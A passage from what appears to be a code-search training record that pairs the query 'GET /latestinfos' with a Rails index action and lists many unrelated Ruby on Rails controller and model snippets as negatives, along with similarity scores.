'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\n\t \t\t\tend\n \t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t@report_serach_result = WorkFlow.current_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.current_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n \t\tend\n\tend",
"def started_survey(survey)\n ResponseSet.where(:survey_id => survey.id).where(:user_id => self.id).count > 0\n end",
"def pending_quests\n quests = UsersQuest.where(:assignee_id => @current_user.id,:is_accepted => false,:is_rejected =>false).pluck(:quest_id)\n @quests = Quest.where(:id => quests).order('due_date')\n by_me_quests = UsersQuest.where(:assignor_id => @current_user.id,:is_accepted => false,:is_rejected =>false).pluck(:quest_id)\n @by_me_quests = Quest.where(:id => by_me_quests).order('due_date')\n end",
"def index\n \t@current_actions_from_user = Action.find(:all, :conditions=>[\"person_id=? and progress in('open','in_progress')\", current_user.id], :order=>\"creation_date\")\n \t#@recent_current_actions_from_user = @current_actions_from_user.select { |action| (Time.now - action.creation_date) < 72}\n end",
"def retrieve_query\r\n if params[:query_id]\r\n @query = @project.queries.find(params[:query_id])\r\n @query.executed_by = logged_in_user\r\n session[:query] = @query\r\n else\r\n if params[:set_filter] or !session[:query] or session[:query].project_id != @project.id\r\n # Give it a name, required to be valid\r\n @query = Query.new(:name => \"_\", :executed_by => logged_in_user)\r\n @query.project = @project\r\n if params[:fields] and params[:fields].is_a? Array\r\n params[:fields].each do |field|\r\n @query.add_filter(field, params[:operators][field], params[:values][field])\r\n end\r\n else\r\n @query.available_filters.keys.each do |field|\r\n @query.add_short_filter(field, params[field]) if params[field]\r\n end\r\n end\r\n session[:query] = @query\r\n else\r\n @query = session[:query]\r\n end\r\n end\r\n end",
"def set_query_check\n @query_check = QueryCheck.find(params[:id])\n end",
"def user_updated_query_options _user, query\n data = {\n category: 'Queries',\n action: 'Updated Query Options',\n label: query.query_text,\n value: nil,\n bounce: false,\n }\n\n create_event data\n end",
"def has_been_acquired_by_user?(user)\n current_user_profile = Profile.find_by(user_id: user.id)\n addition = Addition.find_by(profile_id: current_user_profile, story_id: self.id)\n addition != nil\n end",
"def temp_work_complete?\n user.id == @task_work_offer.task.user.id\n end",
"def people_tracked_for_a_week_from(start_date)\n end_date = start_date + 6.days\n Timing.users_for_client_in_period(self.id, start_date, end_date)\n end",
"def my_accepted_task\n @my_id = current_user.id # redundant 3\n @tasks = Task.where(accepted_by_user_id: @my_id)\n # We may wish to only list task we are working on and with status processing, and nothing more\n #@tasks = Task.where(\"user_id != ? AND task_status = ? AND accepted_by_user_id = ?\", @my_id, \"available\", 0)\n @other_user_task_status_options = {finished: \"Finished\", processing: \"Processing\", error_in_tag: \"Errors in TAG\", Return_Tag: \"Please_Remove_Me\"}\n end",
"def query_yields_solutions?\n true\n end",
"def timeis_up\n current_user.submit_answers\n render text: true\n end",
"def check_up\n maintenant = DateTime.now.to_i\n Takentest.where(status: 0).each do |t|\n debut = t.takentime.to_i\n if debut + t.virtualtest.duration*60 < maintenant\n t.status = 1\n t.save\n u = t.user\n v = t.virtualtest\n v.problems.each do |p|\n p.submissions.where(user_id: u.id, intest: true).each do |s|\n s.visible = true\n s.save\n end\n end\n end\n end\n end",
"def check_goal_status_for(current_user)\n if self.goal_achieved_for(current_user)\n \n self.update_attributes(:goal_achieved => true,\n :goal_id_achieved => current_user.current_goal.id)\n \n current_user.current_goal.update_attributes(:achieved_at => Time.now,\n :current => false)\n\n end\n end",
"def setup\n current_user = options[:currentuser]\n all_flag = options[:allflag]\n if current_user.percentcompleteenabled\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date, :percentcomplete]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n \n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\",\n :percentcomplete => \"Percent Complete\")\n\n else\n table = Table([:description, :goaltype_label, :datecompleted, :created_date, :last_updated_date]) do |t|\n if all_flag\n current_user.goals.find(:all).each {|g| t << g.report_record()}\n else\n current_user.goals.find(:all).each {|u| t << u.report_record unless u.datecompleted != nil}\n end\n end\n\n table.rename_columns(:description => \"Description\",\n :goaltype_label => \"Goal Type\",\n :datecompleted => \"Date Completed\",\n :created_date => \"Date Created\",\n :last_updated_date => \"Date Last Updated\")\n\n \n end\n\n self.data = table\n end",
"def test_work_as\n (user = User.named(\"user\")).save\n (org = Organization.named(\"org\")).save\n\n assert(user.working_as_self?, \"is not working on behalf of himself\")\n assert(!user.working_on_behalf_of?(org), \"is working on behalf of this org\")\n\n user.work_on_behalf_of(org)\n assert(user.working_on_behalf_of?(org), \"is not working on behalf of this org\")\n assert(!user.working_as_self?, \"is still working on behalf of himself\")\n end",
"def query\n @options[:query].presence\n end",
"def new_expert?\n project_tasks.where(status: 'finished').count <= 1\n end",
"def query\n @operation = :query\n self\n end",
"def custom_query?\n !custom_query.blank?\n end",
"def solved(user)\n Problem.includes({:completed_problems => :user}).where('users.id = ?', user.id).where(:id => self.id).present?\n end",
"def editable_by_with_patch?(usr)\n ((usr == self.user && usr.allowed_to?(:edit_own_time_entries, project)) ||\n usr.allowed_to?(:edit_time_entries, project) ||\n usr.allowed_to?(:view_time_entries_without_edit, project)\n ) && !valid_period_close?(self.spent_on)\n end",
"def perform(user, questions)\n \n end",
"def flagged_case_responded_to_in_time_for_stats_purposes?\n responding_team_assignment_date = transitions.where(\n event: \"assign_responder\",\n ).last.created_at.to_date\n\n disclosure_approval_date = transitions.where(\n event: \"approve\",\n acting_team_id: default_clearance_team.id,\n ).last.created_at.to_date\n\n internal_deadline = @deadline_calculator.internal_deadline_for_date(\n correspondence_type, responding_team_assignment_date\n )\n\n internal_deadline >= disclosure_approval_date\n end",
"def set_user_today\n @day_of_week=Date.today.strftime('%A')\n # Variables for showing the pop-ups if they don't exist\n @userDailyQuestionnaireToday = UserDailyQuestionnaire.where(user: current_user, questionnaire_date: Date.today).first\n @userData = UserDatum.where(user: current_user).first\n end",
"def status(unique_id)\n requires!(@options, :advanced_login, :advanced_password)\n\n post = {}\n add_advanced_user(post)\n add_standard_parameters('queryDR', post, unique_id)\n\n commit(post)\n end",
"def current(query_date = Date.current)\n klass.where(\n current_condition(query_date: query_date, table: arel_table),\n )\n end",
"def test_on\n assert_equal [tasks(:explain_search), tasks(:today_shift)], Task.on(Date.today)\n end",
"def ready_for_query\n @connection.ready_for_query?\n end",
"def in_progress? current_user_id\n todo_completes.active.map(&:submitter_id).include?(current_user_id) ? true : false\n end",
"def query\n get_query_object\n end",
"def entire_history\n\t\t@workflows = WorkFlow.where(is_active: true, is_in_use: false)\n\t @report_include_canceled = session[:report_include_canceled]\n \t@report_include_completed = session[:report_include_completed]\n\n\t if session[:report_wildcard].present?\n\t @wildcard = session[:report_wildcard]\n\t end\n\t if session[:report_exact].present?\n\t @exact = session[:report_exact]\n\t end\n\n\t\tif request.post? or session[:report_q_string].present?\n\t\t\t@task_confirmation = false\n\t\t\tq_string = ''\n\t\t\tif request.post?\n\t\t\t\tsession[:params_search] = params \n\t\t\t if params[:report_include_canceled].presence\n\t\t\t @report_include_canceled = params[:report_include_canceled]\n\t\t\t session[:report_include_canceled] = @report_include_canceled\n\t\t\t else\n\t\t\t session.delete(:report_include_canceled)\n\t\t\t end\n\t\t\t if params[:report_include_completed].presence\n\t\t\t @report_include_completed = params[:report_include_completed]\n\t\t\t session[:report_include_completed] = @report_include_completed\n\t\t\t else\n\t\t\t session.delete(:report_include_completed)\n\t\t\t end\n\n\t\t\t\t@serach_result = search[0]\n\t\t\t\tq_string = search[1]\n\t\t\telse\n\t\t\t \tq_string = session[:report_q_string]\n\t\t\t \tif q_string != ''\n\t\t\t\t\tif @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search(q_string)\n\t\t\t\t\telsif @report_include_canceled == 'report_include_canceled'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_complete(q_string)\n\t\t\t\t\telsif @report_include_completed == 'report_include_completed'\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel(q_string)\n\t\t\t\t\telse\n\t\t\t\t\t\t@serach_result = WorkFlow.search_exclude_cancel_and_complete(q_string)\n\t\t\t\t\tend\t\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tif q_string != ''\n\t\t if @report_include_canceled == 'report_include_canceled' and @report_include_completed == 'report_include_completed'\n\t\t @report_serach_result = WorkFlow.entire_report_search(q_string)\n\t\t elsif @report_include_canceled == 'report_include_canceled'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_complete(q_string)\n\t\t elsif @report_include_completed == 'report_include_completed'\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel(q_string)\n\t\t else\n\t\t \t@report_serach_result = WorkFlow.entire_report_search_exclude_cancel_and_complete(q_string)\n\t\t end\n\t\t\tend\n\n\t\tend\n\tend",
"def get_user_info(user)\n if user.checked_out_books.any? {|book| book == true}\n puts book.overdue > Time.now\n else puts \"You have no overdue books.\"\n end\n end",
"def instructor_queries\n\t\tquery = \"\"\n\n\t\tdistribution.each do |user|\n\t\t\tquery << %(\n\t\t\t\tUNION\n\t\t\t\t-- select contact attributes and count attendances on a time slot\n\t\t\t\tSELECT DISTINCT contacts.*, MAX(accounts_contacts.padma_status) status, #{instructors_count_select user[:sql_username]}\n\t\t\t\tFROM contacts\n\t\t\t\tINNER JOIN accounts_contacts ON contacts.id = accounts_contacts.contact_id\n\t\t\t\tINNER JOIN attendance_contacts ON contacts.id = attendance_contacts.contact_id\n\t\t\t\tINNER JOIN attendances ON attendance_contacts.attendance_id = attendances.id\n\t\t\t\tINNER JOIN time_slots ON attendances.time_slot_id = time_slots.id\n\t\t\t\tWHERE attendances.username = '#{user[:username]}'\n\t\t\t\tAND #{account_condition}\n\t\t\t\tAND #{attendance_between_dates_condition}\n\t\t\t\tAND #{status_condition}\n\t\t\t\t#{cultural_activity_condition}\n\t\t\t\tGROUP BY contacts.id\n\t\t\t)\n\t\tend\n\n\t\tquery\n\tend",
"def is_tutoring?\n self.student_requests.where(status: \"active\").exists?\n end",
"def results_with_inactive_users\n self.inactive_reviewers unless @results_with_inactive_users\n @results_with_inactive_users\n end",
"def tests_given(achievement, user)\n number = achievement.settings['quantity']\n user.learning_tests.size >= number\n end",
"def test\n user.test?\n end",
"def set_currently_programming_user!(user)\n self.currently_programming_user = user\n self.currently_programming_until = Time.now + CAN_PROGRAM_FOR\n save!\n end",
"def report?\n [email protected]? && !Report.where(reportable_id: @proposal.id,\n reportable_type: 'Proposal',\n user_id: @user.id).exists?\n end",
"def pending\n add_breadcrumb \"Ordenes de Trabajo pendientes\"\n @assigned_work_orders = WorkOrder.where(user_assigned:current_user).where(state:1).paginate(:page => params[:pa])\n end",
"def query\n super\n end",
"def working\n @users=User.where.not(timer_activity: 0)\n end",
"def filled_by_internal_user?\n seat_reservation && time_sheet_entries.first.internal_user_start\n end",
"def editable_by user\n recordings.each do |recording|\n return true if recording.update_common_work_ids.include? user.id\n end\n return false\n end",
"def jql_created(usr, from, till)\n jql = 'jql='\n jql << \"created>=#{from} AND \" if from\n jql << \"created<=#{till} AND \" if till\n jql << \"reporter=#{usr}\"\n end",
"def do_check_in\n \tupdate_columns(time: DateTime.current(), \n \t\t\t\t\t\t\tseconds_since_midnight: DateTime.now.seconds_since_midnight())\n end"
] |
[
"0.5865417",
"0.5696944",
"0.56217647",
"0.5570736",
"0.5496788",
"0.5438144",
"0.5421293",
"0.5321764",
"0.5286782",
"0.5275124",
"0.5240332",
"0.5221535",
"0.52208465",
"0.52083075",
"0.5200899",
"0.519102",
"0.5184194",
"0.51817226",
"0.5181273",
"0.5179332",
"0.5179332",
"0.5157746",
"0.51567537",
"0.5144885",
"0.51253456",
"0.5104976",
"0.5103086",
"0.5102066",
"0.5086746",
"0.50790644",
"0.507749",
"0.5073172",
"0.5048571",
"0.5047576",
"0.5044261",
"0.5041123",
"0.50321126",
"0.5024098",
"0.50202405",
"0.5015973",
"0.50065863",
"0.5003675",
"0.4996817",
"0.49661553",
"0.49637586",
"0.49627036",
"0.4953264",
"0.49475104",
"0.4945355",
"0.49423572",
"0.4914644",
"0.49114907",
"0.48981425",
"0.48975718",
"0.48934197",
"0.48920575",
"0.4890672",
"0.48899436",
"0.4885344",
"0.48821926",
"0.48821086",
"0.48800623",
"0.4878682",
"0.4864216",
"0.48616007",
"0.4859643",
"0.4859001",
"0.48582268",
"0.48566502",
"0.48549446",
"0.48488575",
"0.48361906",
"0.4823154",
"0.48178434",
"0.48160788",
"0.48159453",
"0.481466",
"0.4812451",
"0.4805482",
"0.4803131",
"0.48030132",
"0.48025584",
"0.47871062",
"0.47824794",
"0.4781117",
"0.47808355",
"0.47783214",
"0.47687098",
"0.47511843",
"0.4747267",
"0.47428024",
"0.4738021",
"0.4732178",
"0.47319138",
"0.472577",
"0.4724956",
"0.47201675",
"0.47191006",
"0.47183895",
"0.47067532"
] |
0.6561817
|
0
|
GET /latestinfos GET /latestinfos.xml
|
def index
@latestinfos = Latestinfo.all
respond_to do |format|
format.html # index.html.erb
format.xml { render :xml => @latestinfos }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def new\n @latestinfo = Latestinfo.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @latestinfo }\n end\n end",
"def get_recent\n uri = [@@base_uri, 'all', 'getRecent'].join('/')\n return get(uri)\n end",
"def latest\n @latest = apiQuery(\"items(first:1, order:UPDATED_DESC, include:[PUBLISHED,EMBARGOED]) { nodes { updated } }\").\n dig(\"items\", \"nodes\", 0, \"updated\")\n end",
"def fetch_latest_user_info\n\t\t@user_info = @client.execute(api_method: @info.userinfo.get).data\n\tend",
"def info\n CouchRest.get \"#{@uri}/\"\n end",
"def index\n \n @news = News.all\n @latest_news = News.latest_news\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @news }\n end\n end",
"def info\n get(\"/api-info\")\n end",
"def info\n get '/'\n end",
"def index\n @news_items = NewsItem.find(:all, :order => 'updated_at desc')\n\n respond_to do |format|\n format.html # index.rhtml\n format.xml { render :xml => @news_items.to_xml }\n end\n end",
"def index\n @updates_pagy, @updates = pagy(Update.with_preloads.recent, items: 5)\n respond_to do |format|\n format.html # index.html.erb\n format.xml\n format.rss { render 'index.xml.builder' }\n end\n end",
"def get_info\r\n return @infoxml unless @infoxml.nil?\r\n \r\n response = Net::Flickr.instance().request('flickr.people.getInfo', 'user_id' => @id)\r\n \r\n return @infoxml = response.at('person')\r\n end",
"def index\n @updates = @vehicle.updates.page(params[:page]).per(30)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @updates }\n end\n end",
"def index\n # shows only the last pages created\n @pages = Page.newer\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @pages }\n end\n end",
"def getinfo\n @api.request 'getinfo'\n end",
"def show\n\t\t@extractor = Extractor.find(params[:id])\n\t\t@latest_revision = @extractor.revisions.first(:order => \"created_at DESC\")\n\t\tif(@latest_revision) \n\t\t\t@latest_scraped_values = ScrapedValue.find_all_by_revision_id(\n\t\t\t\t@latest_revision.id,\n\t\t\t\t:include => [:annotation]\n\t\t\t)\n\t\tend\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.rss { render :layout => false }\n\t\tend\n\tend",
"def show\n @info = Info.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def show\n @info = Info.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def latest\n url = @base_url + \"result/#{key}-latest#{format}\"\n response = RestClient.get(url)\n \n JSON.parse(response)\n end",
"def get_info(refresh = false)\n if @info_got && !refresh\n return\n end\n resp = nil\n Net::HTTP.start('ext.nicovideo.jp') do |http|\n resp = http.get('/api/getthumbinfo/' + @video_id,\n {'Cookie' => 'user_session=' + @user_session.session_id})\n end\n resp.value\n xml = REXML::Document.new(resp.body)\n root = xml.root\n if root.attributes['status'] == 'ok'\n @title = root.elements['thumb/title'].text\n @description = root.elements['thumb/description'].text\n @thumbnail_url = root.elements['thumb/thumbnail_url'].text\n @first_retrieve = DateTime.parse(root.elements['thumb/first_retrieve'].text)\n length_string = root.elements['thumb/length'].text\n length_arr = length_string.split(':')\n @length = length_arr[0].to_i * 60 + length_arr[1].to_i\n @movie_type = root.elements['thumb/movie_type'].text\n @view_counter = root.elements['thumb/view_counter'].text.to_i\n @comment_num = root.elements['thumb/comment_num'].text.to_i\n @mylist_counter = root.elements['thumb/mylist_counter'].text.to_i\n @embeddable = root.elements['thumb/embeddable'].text == '1'\n @live_allowed = root.elements['thumb/no_live_play'].text == '0'\n @tags = {}\n root.elements.each('thumb/tags') do |tse|\n key = tse.attributes['domain']\n dtags = []\n tse.elements.each('tag') do |tge|\n dtags.push(Bnicovideo::Tag.new(tge.text,\n tge.attributes['lock'] == '1', tge.attributes['category'] == '1'))\n end\n @tags[key] = dtags\n end\n @user_id = root.elements['thumb/user_id'].text\n else\n @deleted = true\n end\n @info_got = true\n end",
"def recent_foods\n get(\"/user/#{@user_id}/foods/log/recent.json\")\n end",
"def getinfo\n request :getinfo\n end",
"def get_xml\n response = @api.request(:get, @location, type: 'xml')\n response.body if response.status == 200\n end",
"def index\n @news = News.all(:order => \"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def create\n @latestinfo = Latestinfo.new(params[:latestinfo])\n\n respond_to do |format|\n if @latestinfo.save\n flash[:notice] = 'Latestinfo was successfully created.'\n format.html { redirect_to(@latestinfo) }\n format.xml { render :xml => @latestinfo, :status => :created, :location => @latestinfo }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @news_updates = NewsUpdate.all.paginate(:page => params[:page], :per_page => 10)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @news_updates }\n end\n end",
"def recent\n result = http_get(\"/services/data/v#{self.version}/recent\")\n collection_from(result.body)\n end",
"def show\n @news_update = NewsUpdate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def latest_and_greatest\n\tlatest = []\n\txml = Paper.new.openxml(feedurl)\n\t# Nature\n\tif feedurl == \"http://feeds.nature.com/NatureLatestResearch\"\n\t\txml.css('item').each do |article|\n\t\t\ta = {}\n\t\t\ta[:title] = article.css('title').text\n\t\t\ta[:doi] = article.attribute('about').text[18..-1]\n\t\t\ta[:abstract] = article.css('description').text\n\t\t\ta[:authors] = []\n\t\t\tif !article.xpath(\"a:creator\", {\"a\" => \"http://purl.org/dc/elements/1.1/\"}).empty?\n\t\t\t\tarticle.xpath(\"a:creator\", {\"a\" => \"http://purl.org/dc/elements/1.1/\"}).each do |author|\n\t\t\t\t\ta[:authors] << author.text\n\t\t\t\tend\n\t\t\tend\n\t\t\ta[:pubdate] = article.xpath(\"a:date\", {\"a\" => \"http://purl.org/dc/elements/1.1/\"}).text.to_time\n\t\t\tlatest << a\n\t\tend\n\tend\n\t\n\n\tlatest\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def new\n @info = Info.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @info }\n end\n end",
"def index\n @nspirefiles = Nspirefile.all(:order => \"updated_at DESC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @nspirefiles }\n end\n end",
"def rss # :nologin:\n @logs = RssLog.all(conditions: \"datediff(now(), updated_at) <= 31\",\n order: \"updated_at desc\", limit: 100,\n include: [:name,\n :species_list,\n { observation: :name }\n ])\n render_xml(layout: false)\n end",
"def recent\n @notes = Note.recently_added(12).paginate(:page => params[:page], :per_page => configatron.page_size)\n\n respond_to do |format|\n format.html # recent.html.erb\n format.json { render json: @bookmarks }\n end\n end",
"def index\n @infos = Info.all\n end",
"def newest\n @client = Client.recent.first\n respond_with(@client)\n end",
"def rss\n @logs = RssLog.includes(:name, :species_list, observation: :name).\n where(\"datediff(now(), updated_at) <= 31\").\n order(updated_at: :desc).\n limit(100)\n\n render_xml(layout: false)\n end",
"def fetch_news(last_fetch = \"#{Date.today.to_s} 00:00:00\")\n x = build_news(parse_json(@filename), last_fetch)\n end",
"def info\n request('getinfo')\n end",
"def show\n @news = New.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news }\n end\n end",
"def info(sid)\n xml = get('/feeds/showinfo.php', :query => {:sid => sid})\n xml[\"Showinfo\"]\n end",
"def index\n @active_page = :versions\n\n respond_to do |format|\n format.html\n format.xml do\n find_versions\n @versions_count = @versions.size\n @versions = @versions[ @page_limit * (@current_page - 1), @page_limit ].to_a\n render :action => :index, :layout => false\n end\n end\n end",
"def recent\n\n\t\t# GET ALL THE RECENT POSTS\n\t\t@posts_recent = Post.find(:all, :limit => 5)\n\n respond_to do |format|\n format.html { render :layout => false } # recent.html.erb\n format.xml { render :xml => @posts_recent }\n end\n end",
"def info( opts = {} )\n http_action :get, nil, opts\n end",
"def fetch_weather\n\t response = HTTParty.get(\"http://api.wunderground.com/api/cdb75d07a23ad227/#{date}/q/#{location}/#{cityfixed}.xml\")\n\t parse_response(response)\n\tend",
"def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end",
"def info(**args)\n valid_params?(args)\n params = convert_params(args)\n client.get(\"#{ENDPOINT}/info\", options: params.compact).tap do |resp|\n resp.body = resp.body.map { |_k, data| data }\n end\n end",
"def show\n @live_news = LiveNews.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @live_news }\n end\n end",
"def rss\n @event = Event.find_by_key(params['id'])\n @histories = @event.histories(:order => 'created_at DESC')\n render :layout => false\n response.headers[\"Content-Type\"] = \"application/xml; charset=utf-8\"\n end",
"def restGetMetaInformation()\n printDebugMessage('restGetMetaInformation', 'Begin', 11)\n url = \"#{baseUrl}/dbfetch.databases?style=xml\"\n xmlDoc = restRequest(url)\n doc = REXML::Document.new(xmlDoc, { :ignore_whitespace_nodes => :all })\n printDebugMessage('restGetMetaInformation', 'End', 11)\n return doc.root.elements['//databaseInfoList']\n end",
"def index\n @admin_informations = Admin::Information.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @admin_informations }\n end\n end",
"def latest_observations\n path = 'stations/%s/observations/latest' % [@id]\n get(path)['properties']\n end",
"def recent_activities\n get(\"/user/#{@user_id}/activities/recent.json\")\n end",
"def info\n IbmCloudRest.get \"#{@uri}/\"\n end",
"def recent_activities()\n get(\"/user/#{@user_id}/activities/recent.json\")\n end",
"def index\n #@histories = History.all\n @histories = History.find( :all, :limit => 100, :order => \"id DESC\" )\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @histories }\n end\n end",
"def index\n @entries = Entry.order('created_at DESC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @entries }\n end\n end",
"def get_inf(url)\n\turi = URI.parse(url)\n\tresponse = Net::HTTP.get_response(uri)\n\tJSON.parse(response.body)\nend",
"def info\n response = from_server \"api/info.json\"\n response.data\n end",
"def new\n @news_update = NewsUpdate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @news_update }\n end\n end",
"def read_new_messages(last_id=nil)\n newer = \"\"\n newer = \"?newer_than=#{last_id.to_s}\" if last_id\n # Get latest 20 messages\n begin\n reply = @access_token.get(\"/api/v1/messages.xml\" + newer)\n \n# File.open(\"tmp/dump.xml\", \"w\") do |f|\n# f.write reply.body \n# end\n \n # Parse xml. doc has xml, updates has the messages\n doc, @updates = Hpricot::XML(reply.body), []\n \n # First get the names of users\n @names = {}\n (doc/:reference).each do |ref|\n next unless ref.at('type').innerHTML.include? 'user'\n id = ref.at('id').innerHTML\n @names[id] = ref.at('name').innerHTML\n end\n \n # Then the messages\n last_id = 0\n (doc/:message).each do |msg|\n id = msg.at('id').innerHTML\n last_id = id.to_i if last_id < id.to_i\n from = msg.at('sender-id').innerHTML # get the id\n from = @names[from] if @names[from] # get name from id\n time = msg.at('created-at').innerHTML\n content= msg.at('body').at('plain').innerHTML\n @updates << {:id => id, :from => from, :content => content, :time => time}\n end\n \n # Show\n# render :text => make_html(updates, names)\n rescue StandardError, Timeout::Error\n last_id = 0 # Timeouts are very common\n end\n last_id == 0 ? nil : last_id\n end",
"def index\n @events = Event.find_upcoming(5).reverse\n @title = 'Tulevat tapahtumat'\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => events }\n end\n end",
"def show\n @news_blast = NewsBlast.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @news_blast }\n end\n end",
"def fetch_versions\n http_get(\"#{host}/#{Configuration.versions_file}\").body\n end",
"def fetch\n feed_data = REXML::Document.new(open(@url, :proxy => true)).root\n parse(feed_data)\n end",
"def get_listings_xml(url)\n @client.get_content(url)\n end",
"def index\n @meetings = Meeting.recent\n @past_meetings = Meeting.recent.past\n @upcoming_meetings = Meeting.upcoming\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @meetings }\n format.atom\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @notifier }\n end\n end",
"def update\n @latestinfo = Latestinfo.find(params[:id])\n\n respond_to do |format|\n if @latestinfo.update_attributes(params[:latestinfo])\n flash[:notice] = 'Latestinfo was successfully updated.'\n format.html { redirect_to(@latestinfo) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @latestinfo.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @relatestagiario = Relatestagiario.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @relatestagiario }\n end\n end",
"def print_my_recent_bookmarks(username, password)\n # Make the HTTPS request.\n response = open('https://api.del.icio.us/v1/posts/recent',\n :http_basic_authentication => [username, password])\n\n # Read the response entity-body as an XML document.\n xml = response.read\n\n # Turn the document into a data structure.\n document = REXML::Document.new(xml)\n\n # For each bookmark...\n REXML::XPath.each(document, \"/posts/post\") do |e|\n # Print the bookmark's description and URI\n puts \"#{e.attributes['description']}: #{e.attributes['href']}\"\n end\nend",
"def retrieve_rates(date)\n path = \"http://openexchangerates.org/api/historical/#{date.to_s}.json?app_id=#{$app_id}\"\n response = Net::HTTP.get_response(URI.parse path)\n # TODO: error handling\n response.body\nend",
"def get_all_info\n\t\tpage = fetch\n\t\tscrape(page)\n\tend",
"def recent_activity\n doc = request(@user, \"recentactivity\")\n items = []\n doc.xpath('//rss/channel/item').each do |node|\n items << { :title => node.xpath('title').text.strip,\n :link => node.xpath('link').text.strip,\n :description => node.xpath('description').text.strip,\n :date => node.xpath('pubDate').text.strip,\n :track => node.xpath('mm:Track/dc:title').text.strip,\n :artist => node.xpath('mm:Artist/dc:title').text.strip,\n :album => node.xpath('mm:Album/dc:title').text.strip,\n :artwork => node.xpath('pandora:albumArtUrl').text.strip,\n :station => node.xpath('pandora:stationLink').text.strip}\n end\n items\n end",
"def show_items(n_most_recent)\n # Get the 0th item from array and open with Nokogiri\n xml_link = rss_links.first\n @xml_doc = Nokogiri::XML open(xml_link)\n \n\n # Get all the titles, dates, and links from the RSS\n # and strip their XML tag\n titles = strip_xml_tag @xml_doc.xpath(\"//title\")\n pub_dates = strip_xml_tag @xml_doc.xpath(\"//pubDate\")\n links = strip_xml_tag @xml_doc.xpath(\"//link\")\n \n item_list = make_rss_item titles, pub_dates, links, n_most_recent\n\n puts item_list\n\n end",
"def destroy\n @latestinfo = Latestinfo.find(params[:id])\n @latestinfo.destroy\n\n respond_to do |format|\n format.html { redirect_to(latestinfos_url) }\n format.xml { head :ok }\n end\n end",
"def show\n @packageinfo = Packageinfo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @packageinfo }\n end\n end",
"def show\n @nano = Nano.find(params[:id])\n\n respond_to do |format|\n format.html # show.rhtml\n format.xml { render :xml => @nano.to_xml }\n end\n end",
